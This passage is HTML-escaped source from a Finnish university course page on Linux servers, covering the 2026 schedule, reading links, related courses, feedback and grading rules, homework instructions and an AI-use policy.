&lt;tr&gt;&lt;td&gt;2026-01-20 w04 ti&lt;/td&gt;&lt;td&gt;2. Komentokehote. Ylläpito, paketinhallinta.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Demonit&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-01-27 w05 ti&lt;/td&gt;&lt;td&gt;3. Apache-weppipalvelin.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-02-03 w06 ti&lt;/td&gt;&lt;td&gt;4. Julkisen palvelimen vuokraaminen.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-02-10 w07 ti&lt;/td&gt;&lt;td&gt;5. Nimen vuokraaminen.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-02-24 w09 ti&lt;/td&gt;&lt;td&gt;6. Let&#39;s Encrypt ja TLS-sertifikaatit.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Automatisointi&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-03-03 w10 ti&lt;/td&gt;&lt;td&gt;7. Ohjelmointi ja shell script.&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Yhteenveto&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;2026-03-10 w11 ti&lt;/td&gt;&lt;td&gt;8. Lisenssit. Kertaus ja yhteenveto.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Oppituntien aiheisiin voi tulla muutoksia kurssin aikana.&lt;/p&gt;
&lt;h3 id=&quot;peruskaytto&quot;&gt;Peruskäyttö &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#peruskaytto&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;1. &lt;strong&gt;Asennus, työpöytä ja lisenssit&lt;/strong&gt; &lt;a href=&quot;https://www.gnu.org/philosophy/free-sw.html&quot;&gt;FSF Free Software Definition&lt;/a&gt;, &lt;a href=&quot;http://lib.tkk.fi/Diss/2005/isbn9529187793/isbn9529187793.pdf&quot;&gt;Rise of Open Source: Chapter 5&lt;/a&gt;. &lt;a href=&quot;http://terokarvinen.com/2006/raportin-kirjoittaminen-4&quot;&gt;Raportin kirjoittaminen&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Heinonen 2025: &lt;a href=&quot;https://github.com/johannaheinonen/johanna-test-repo/blob/main/linux-20082025.md&quot;&gt;Install Debian 13-Trixie with VirtualBox&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;2. &lt;strong&gt;Komentokehote, ylläpito ja paketinhallinta&lt;/strong&gt; w04 &lt;a href=&quot;http://terokarvinen.com/2009/command-line-basics-4&quot;&gt;Command Line Basics&lt;/a&gt;, &lt;a href=&quot;http://terokarvinen.com/2008/commands-for-admin-4&quot;&gt;Commands for Admin&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Heinonen 2025: &lt;a href=&quot;https://github.com/johannaheinonen/johanna-test-repo/blob/main/linux-27082925.md&quot;&gt;Linux commands&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;demonit&quot;&gt;Demonit &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#demonit&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;3. &lt;strong&gt;Apache-weppipalvelin&lt;/strong&gt;
&lt;a href=&quot;http://terokarvinen.com/2008/install-apache-web-server-on-ubuntu-4&quot;&gt;Install Apache Web Server on Ubuntu&lt;/a&gt; &lt;a href=&quot;http://terokarvinen.com/2016/instant-firewall-sudo-ufw-enable&quot;&gt;Instant Firewall – sudo ufw enable.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Heinonen 2025: &lt;a href=&quot;https://github.com/johannaheinonen/johanna-test-repo/blob/main/linux-03092025.md&quot;&gt;Apache2&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;4. &lt;strong&gt;Julkisen palvelimen ja nimen vuokraaminen&lt;/strong&gt;
&lt;a href=&quot;https://jvaris.wordpress.com/2014/03/03/linux-server-task-5-apache-name-based-virtual-hosting/&quot;&gt;Apachen oletussivu&lt;/a&gt;, &lt;a href=&quot;https://jvaris.wordpress.com/2014/03/03/linux-server-task-5-apache-name-based-virtual-hosting/&quot;&gt;Monta nimeä samaan IP-osoitteeseen&lt;/a&gt;. Virtuaalipalvelimia vuokrataan: &lt;a href=&quot;http://www.linode.com/?r=16774ec53118157d3f5d6e9be9147875cdb167bb&quot;&gt;Linode (associate link)&lt;/a&gt;, &lt;a href=&quot;https://www.digitalocean.com/&quot;&gt;Digitalocean&lt;/a&gt;, &lt;a href=&quot;http://aws.amazon.com/vpc/&quot;&gt;Amazon&lt;/a&gt; (monet Amazonin palvelut skaalautuvat automaattisesti, maksimihinnan rajoittaminen voi olla tarpeen). Julkisia nimiä vuokrataan: &lt;a href=&quot;https://www.namecheap.com/&quot;&gt;NameCheap&lt;/a&gt;, (I don&#39;t recommend Gandi anymore). Harjoittelua varten voit kokeilla myös &lt;a href=&quot;http://www.dot.tk/&quot;&gt;http://www.dot.tk/&lt;/a&gt; (ei tärkeille nimille). &lt;a href=&quot;http://terokarvinen.com/2017/first-steps-on-a-new-virtual-private-server-an-example-on-digitalocean&quot;&gt;First Steps on a New Virtual Private Server – an Example&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;automatisointi&quot;&gt;Automatisointi &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#automatisointi&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;5. &lt;strong&gt;Ohjelmat weppipalvelimella&lt;/strong&gt;. Palvelinpään ohjelmointi.&lt;/p&gt;
&lt;p&gt;6. &lt;strong&gt;Shell scriptit&lt;/strong&gt;, bash-skriptaus.
&lt;a href=&quot;http://terokarvinen.com/2007/shell-scripting-4&quot; title=&quot;Permalink to Shell Scripting&quot;&gt;Shell Scripting&lt;/a&gt;, &lt;a href=&quot;http://terokarvinen.com/2006/aboutusers-4&quot; title=&quot;Permalink to aboutusers&quot;&gt;aboutusers.sh&lt;/a&gt;, &lt;a href=&quot;http://overthewire.org/wargames/bandit/&quot;&gt;Over the Wire: bandit&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;suhde-muihin-kursseihin&quot;&gt;Suhde muihin kursseihin &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#suhde-muihin-kursseihin&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tälle kurssille ei vaadita mitään kursseja esitietoina. Linuxia ei tarvitse osata yhtään. Omalle tietokoneelle pitäisi osata asentaa ohjelmia, esimerkiksi virtuaalikone. Ja tietysti ratkoa tavallisia tietokoneongelmia kokeilemalla ja wepistä tietoa hakemalla.&lt;/p&gt;
&lt;p&gt;Tämä kurssi (Linux palvelimet ict4tn021) on esitietona monille kursseille, esimerkiksi&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/tags/configuration-management/&quot;&gt;Palvelinten hallinta&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/tags/monialaprojekti/&quot;&gt;Monialaprojekti&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/tags/tunkeutumistestaus/&quot;&gt;Tunkeutumistestaus&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Ja pilvessähän palvelimet ovat pääosin Linuxeja, joten noilla kursseilla tästä lienee hyötyä.&lt;/p&gt;
&lt;p&gt;Seuraavia kursseja&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Palvelinten hallinta ICI001AS3A (sopii kaikille tämän kurssin läpäisseille)&lt;/li&gt;
&lt;li&gt;Tunkeutumistestaus ICI005AS3A (sopii haasteita etsiville)&lt;/li&gt;
&lt;li&gt;Sovellusten hakkerointi&lt;/li&gt;
&lt;li&gt;Verkon hakkerointi&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/newsletter/&quot;&gt;Teron uutiskirje&lt;/a&gt; (Voit poimia rusinat pullasta, mm. kutsuja vierailuluennoille. Viestejä harvoin, joka viestissä unsubscribe-nappi.)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;vanhoja-kurssitoteutuksia&quot;&gt;Vanhoja kurssitoteutuksia &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#vanhoja-kurssitoteutuksia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Vanhoilta kurssitoteutuksilta löytyy runsaasti opiskelijoiden palautteita ja linkkejä kotitehtävien esimerkkiratkaisuihin. Opiskelijoiden palaute kurssista on sivun lopussa kommenteissa.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2025/linux-palvelimet-2025-alkukevat-ici003as2a-3008/&quot;&gt;Linux palvelmiet 2025 alkukevät&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2024/linux-palvelimet-2024p1-alkusyksy-ici003as2a-3010/&quot;&gt;Linux Palvelimet 2024 alkusyksy ICI003AS2A-3010&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2024/linux-palvelimet-2024-alkukevat/&quot;&gt;Linux Palvelimet 2024 alkukevät ici003as2a-3004&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2023/linux-palvelimet-2023-alkusyksy/&quot;&gt;Linux Palvelimet 2023 alkusyksy ici003as2a-3006&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2023/linux-palvelimet-2023-alkukevat/&quot;&gt;Linux Palvelimet 2023 alkukevät ici003as2a-3002&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2022/linux-palvelimet-ict4tn021-3020/&quot;&gt;Linux Palvelimet 2022 alkusyksy - ict4tn021-3020&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2020/linux-palvelimet-2021-alkukevat-kurssi-ict4tn021-3014/&quot;&gt;Linux Server Course - Linux palvelimet ict4tn021-3014 - alkukevät 2021&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2020/linux-palvelimet-2020-alkukevat-kurssi-ict4tn021-3010/&quot;&gt;Linux Server Course - Linux palvelimet ict4tn021-3010 Aikataulu&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://terokarvinen.com/2018/aikataulu-linux-palvelimet-ict4tn021-3004-ti-alkukevat-2019-5-op&quot; title=&quot;Permalink to Aikataulu – Linux palvelimet ict4tn021-3004 ti – alkukevät 2019 – 5 op&quot;&gt;Aikataulu – Linux palvelimet ict4tn021-3004 ti – alkukevät 2019 – 5 op&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://terokarvinen.com/2017/aikataulu-linux-palvelimet-ict4tn021-7-ti-ja-6-to-alkukevat-2018-5-op&quot; title=&quot;Permalink to Aikataulu – Linux palvelimet ict4tn021 8-ma, 7-ti ja 6-to – alkukevät 2018 – 5 op&quot;&gt;Aikataulu – Linux palvelimet ict4tn021 8-ma, 7-ti ja 6-to – alkukevät 2018 – 5 op&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2017/aikataulu-linux-palvelimet-ict4tn021-2-ti-ja-3-ke-alkukevat-2017-5-op/?fromSearch=aikataulu%20linux%20palvelimet%20ict4tn021%202%20ti%20ja%203%20k&quot;&gt;Aikataulu – Linux palvelimet ict4tn021 4-ti ja 5-to – alkusyksy 2017 – 5 op&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://terokarvinen.com/2016/aikataulu-linux-palvelimet-alkusyksy-2016&quot; title=&quot;Permalink to Aikataulu – Linux palvelimet ict4tn021-1 – 5 op – alkusyksy 2016&quot;&gt;Aikataulu – Linux palvelimet ict4tn021-1 – 5 op – alkusyksy 2016&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;vanhoja-arvioitavia-laboratorioharjoituksia&quot;&gt;Vanhoja arvioitavia laboratorioharjoituksia: &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#vanhoja-arvioitavia-laboratorioharjoituksia&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2024/arvioitava-laboratorioharjoitus-2024-linux-palvelimet/&quot;&gt;Final Lab for Linux Palvelimet 2024 Spring&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://terokarvinen.com/2017/arvioitava-laboratorioharjoitus-linux-palvelimet-ict4tn021-4-tiistai-alkusyksy-2017-%E2%80%93-5-op&quot;&gt;Final lab test for group 4-Tuesday&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://terokarvinen.com/2017/arvioitava-laboratorioharjoitus-%e2%80%93-linux-palvelimet-ict4tn021-5-torstai-%e2%80%93-alkusyksy-2017-%e2%80%93-5-op&quot;&gt;Final lab test for group 5-Thursday&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://terokarvinen.com/2017/arvioitava-laboratorioharjoitus-%e2%80%93-linux-palvelimet-ict4tn021-2-uusi-ops-alkukevaalla-2017-p1&quot;&gt;Arvioitava laboratorioharjoitus – Linux palvelimet ict4tn021-2 (uusi OPS) alkukeväällä 2017 p1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://terokarvinen.com/2017/arvioitava-laboratorioharjoitus-%e2%80%93-linux-palvelimet-ict4tn021-3-uusi-ops-alkukevaalla-2017-p1&quot;&gt;Arvioitava laboratorioharjoitus – Linux palvelimet ict4tn021-3 (uusi OPS) alkukeväällä 2017 p1&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;anna-palautetta&quot;&gt;Anna palautetta &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#anna-palautetta&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Palaute on minulle todella tärkeää, kiitos jo nyt. Hyödynnän palautetta heti seuraavilla kursseillamme &quot;Palvelinten hallinta&quot; ja &quot;Tunkeutumistestaus&quot;. Sekä soveltuvin osin kahdella uudella tietoturvakurssilla.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1) &lt;a href=&quot;https://terokarvinen.com/linux-palvelimet/#comments&quot;&gt;Vapaamuotoinen palaute kommenttina&lt;/a&gt; tämän kurssisivun perään.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Vapaamuotoiseen palautteeseen saa kirjoittaa mitä vain, eikä kysymyksiä tarvitse toistaa. Mutta tässä vinkiksi:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Opitko jotakin – eli osaatko nyt sellaista, mitä et osannut ennen kurssia?&lt;/li&gt;
&lt;li&gt;Teitkö jotain ensimmäistä kertaa? Vuokrasit koneen julkiseen Internetiin, asensit Linuxin, hankit TLS-sertifikaatin...&lt;/li&gt;
&lt;li&gt;Oliko opittu hyödyllistä? Luuletko, että sille on käyttöä esim. tulevaisuudessa töissä tai kotona?&lt;/li&gt;
&lt;li&gt;Viihdyitkö kurssilla?&lt;/li&gt;
&lt;li&gt;Mitä pidit läksyistä?&lt;/li&gt;
&lt;li&gt;Miten voisin parantaa kurssia?&lt;/li&gt;
&lt;li&gt;Suosittelisitko kurssia tai oletko jo suositellut? Kenelle kurssi sopisi? Koulutoverille tai kollegalle?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;2) Numeerinen palaute &lt;a href=&quot;https://mynet.haaga-helia.fi&quot;&gt;Haaga-Helian palautejärjestelmään MyNetissa&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Numeerisen palautteen avulla mm. verrataan Haaga-Helian kursseja toisiinsa.&lt;/p&gt;
&lt;p&gt;Numeeriset: Asteikko 1-välttävä (huonoin) ... 5-kiitettävä (paras)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Oma aktiivisuutesi opiskelussa        1-5&lt;/li&gt;
&lt;li&gt;Osaamistavoitteiden saavuttaminen     1-5&lt;/li&gt;
&lt;li&gt;Työskentelytavat tukivat oppimista    1-5&lt;/li&gt;
&lt;li&gt;Opiskeluympäristö tuki oppimista      1-5&lt;/li&gt;
&lt;li&gt;Hyödyllisyys työelämään               1-5&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Avoimet kysymykset (näihin voi myös kopioida samat vastaukset jotka kirjoitit aiemmin)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Mitkä asiat edistivät oppimistasi?&lt;/li&gt;
&lt;li&gt;Miten kehittäisit toteutusta / toteutuskokonaisuutta, jotta osaamistavoitteet saavutettaisiin paremmin?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kokonaisarviosi toteutuksesta / toteutuskokonaisuudesta 1-5&lt;/p&gt;
&lt;p&gt;Suosittelisitko 1 - 10 (1 en varmasti, 10 aion varmasti suositella tai olen jo suositellut)&lt;/p&gt;
&lt;p&gt;Kiitos palautteesta ja jännittävästä kurssista!&lt;/p&gt;
&lt;p&gt;Missä nähdään? &lt;span id=&quot;missa-nahdaan&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/palvelinten-hallinta/&quot;&gt;Palvelinten hallinta ICI001AS3A&lt;/a&gt; (useimmat ovat varmaan jo tulossa tänne. &lt;em&gt;Seuraavassa jaksossa&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/tunkeutumistestaus/&quot;&gt;Tunkeutumistestaus ICI005AS3A&lt;/a&gt; (Yritysten verkkoihin ja järjestelmiin murtautuminen. &lt;em&gt;Seuraavassa jaksossa&lt;/em&gt;)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/application-hacking/&quot;&gt;Sovellusten hakkerointi ja haavoittuvuudet ICI012AS3A&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/network-attacks-and-reconnaissance/&quot;&gt;Verkkoon tunkeutuminen ja tiedustelu ICI013AS3A &lt;em&gt;Seuraavassa jaksossa&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/newsletter/&quot;&gt;Teron uutiskirje&lt;/a&gt; (Voit poimia rusinat pullasta, mm. kutsuja vierailuluennoille. Viestejä harvoin, joka viestissä unsubscribe-nappi. Loppukeväästä tulossa useita vierailuja, mm. GPS-häirintä, Active Directory -hyökkäykset, Abloy-tiirikointi)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;suoritukset&quot;&gt;Suoritukset &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#suoritukset&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Läksyt ja ristiinarviointi, 100%&lt;/li&gt;
&lt;li&gt;Aktiivinen etäosallistuminen opetukseen&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Arvosana perustuu kokonaisarvioon kurssisuorituksista.&lt;/p&gt;
&lt;h3 id=&quot;laksyt-ajallaan-ja-keskustelussa-mukana&quot;&gt;Läksyt ajallaan ja keskustelussa mukana &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#laksyt-ajallaan-ja-keskustelussa-mukana&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Aktiivinen osallistuminen sisältää esimerkiksi tuntitehtävien ratkaisemisen, ryhmäkeskusteluihin osallistumisen ja kysymyksiin vastaamisen. Videokonfferenssin pitäminen auki ei riitä, eikä tuntien aikana voi olla muuta ohjelmaa.&lt;/p&gt;
&lt;p&gt;Pakolliset tehtävät ja ristiinarvioinnit tulee palauttaa aikataulussa viikottain, jotta kurssia voi jatkaa.&lt;/p&gt;
&lt;p&gt;Jos jokin yksittäinen alakohta kotitehtävistä on liian vaikea ratkaista loppuun asti, siitä tulee olla kirjallisesti raportoitu ratkaisuritys. Mukana tulee olla annetut komennot, virheilmoitukset sekä relevantit pätkät lokeja. Ratkaisuvaihtoehtoja tulee etsiä ja kokeilla itsenäisesti.&lt;/p&gt;
&lt;h2 id=&quot;laksyt&quot;&gt;Läksyt &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#laksyt&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Kotitehtäväraporttien linkit palautetaan 24 h ennen lähiopetuskerran alkua Laksuun. Oman tehtävän palautuksen jälkeen riistiinarvioidaan kahden kurssikaverin tehtävät.&lt;/p&gt;
&lt;p&gt;Läksyistä laaditaan yksityiskohtaiset kirjalliset raportit. Kurssilla opit myös, kuinka raportteja voi hyödyntää haastavien ongelmien ratkomisessa.&lt;/p&gt;
&lt;p&gt;Läksyt tehdään ja raportoidaan kunkin tunnin jälkeen. Tehtävät saa julkaista missä haluaa ja palauttaa linkin Laksuun.  Kotitehtäväraportin tulee olla suoraan selaimella katseltavassa muodossa, tavallisena HTML-weppisivuna. Ei odt, ei odp, ei ppt, ei docx, ei doc, ei pdf. Kotitehtäviä ei voi palauttaa sähköpostitse. Linkit palautetaan Laksuun ja sen jälkeen ristiinarvioidaan kaksi työtä. Maksutonta kotisivutilaa saa esimerkiksi GitHub.com ja Gitlab.com.&lt;/p&gt;
&lt;p&gt;Läksyt ovat virallisia vasta, kun ne on annettu tunnin päätteeksi. Niitä ei siis tule tehdä etukäteen, sillä ne arvioidaan sen annetun tehtävänannon mukaan. Ennen vahvistamista tehtäviin voi tulla olennaisiakin muutoksia.&lt;/p&gt;
&lt;p&gt;Läksyt käydään läpi seuraavalla tapaamiskerralla, ratkotaan yhdessä ongelmia ja annetaan suullista palautetta. Arvosana kotitehtäväpaketista tulee vasta kurssin lopuksi, mutta tehtävät tulee silti palauttaa aina vuorokautta ennen seuraavia tunteja. Kurssilta poistetaan ne, jotka eivät ala suorittaa kurssia palauttamalla tehtäviä. Julkaiseminen on vapaaehtoista, mutta erittäin suositeltavaa. Jos et jostain syystä uskalla tai muuten halua julkaista, voit laittaa työn weppisivulle salasanan taakse (kaikille kotitehtäville sama salasana) ja jakaa tämän salasanan kurssilaisten kanssa.  Jos tuntien yhteydessä järjestetään testejä läksyjen aiheista, niiden pisteet sisältyvät arvostelun kohtaan läksyt.&lt;/p&gt;
&lt;p&gt;Läksyt pitää tehdä tietokoneella kokeilemalla ja raportoida tapahtumien kulku, ellei kyseisessä alakohdassa erikseen muuta lue. Raporteista tulee ilmetä tiedot, josta voi todeta että harjoitukset on tehty eikä sepitetty.&lt;/p&gt;
&lt;p&gt;Tekoälyn käyttö: Tekoälyllä tai muulla puppusanageneraattorilla ei sai generoida pitkiä tekstejä opettajan tai kurssikavereiden riesaksi. Tällä kurssilla on samat AI säännöt kuin YAMK:n kurssillani: &quot;AI and large language models (LLM): You can ask AI or LLM a question and use the answer as facts for your own answer, written in your own words. AI must be marked as a reference, with details such as prompt (and for advanced users system prompts, temperature, jailbreaks...). LLMs tend to hallucinate, so you should check answers from more reliable sources. It&#39;s not allowed to generate text with AI or similar technologies. For example, it&#39;s not allowed to generate essay answers or summaries with AI, LLM or similar technologies.&quot;&lt;/p&gt;
&lt;h3 id=&quot;h0-hei-weppi&quot;&gt;h0 Hei weppi &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#h0-hei-weppi&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;a) Julkaise oma sivu weppiin.&lt;/p&gt;
&lt;p&gt;Vinkit&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/create-a-web-page-using-github/&quot;&gt;Create a Web Page Using Github&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h1-oma-linux&quot;&gt;h1 Oma Linux &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#h1-oma-linux&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/linux-palvelimet/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span id=&quot;h1-virtuaali-linux&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue ja tiivistä (Muutama ranskalainen viiva kustakin artikkelista riittää. Tässä alakohdassa ei tarvitse tehdä testejä tietokoneella)
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://terokarvinen.com/2006/raportin-kirjoittaminen-4&quot;&gt;Raportin kirjoittaminen&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Asenna Linux virtuaalikoneeseen. (Tee raporttia varten uusi virtuaalikone, vaikka olisit asentanut sen aiemmin)&lt;/li&gt;
&lt;li&gt;k) Vapaaehtoinen bonus: suosikkiohjelmani Linuxilla. Tee ja raportoi jokin yksinkertainen toimenpide haluamallasi Linux-ohjelmalla.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkkejä&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tee täsmällinen ja toistettava raportti. Kuvaile myös ympäristö (host OS, rauta...). Sellainen, millä voi aiheuttaa samat virheet joita löysit, ja korjata ne samalla tavalla.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://terokarvinen.com/2021/install-debian-on-virtualbox/&quot;&gt;Install Debian on Virtualbox - Updated 2023&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Viimeisin Debian Live -levykuva tavalliselle PC:lle debian-live-12.6.0-amd64-xfce.iso - Jos ensimmäinen palvelin ei vastaa, käytä peilejä (mirrors), esim
&lt;a href=&quot;http://mirrors.dotsrc.org/debian-cd/12.9.0-live/amd64/iso-hybrid/debian-live-12.9.0-amd64-xfce.iso&quot;&gt;1&lt;/a&gt;,
&lt;a href=&quot;http://mirrors.rackhosting.com/debian-cd/12.9.0-live/amd64/iso-hybrid/debian-live-12.9.0-amd64-xfce.iso&quot;&gt;2&lt;/a&gt;.
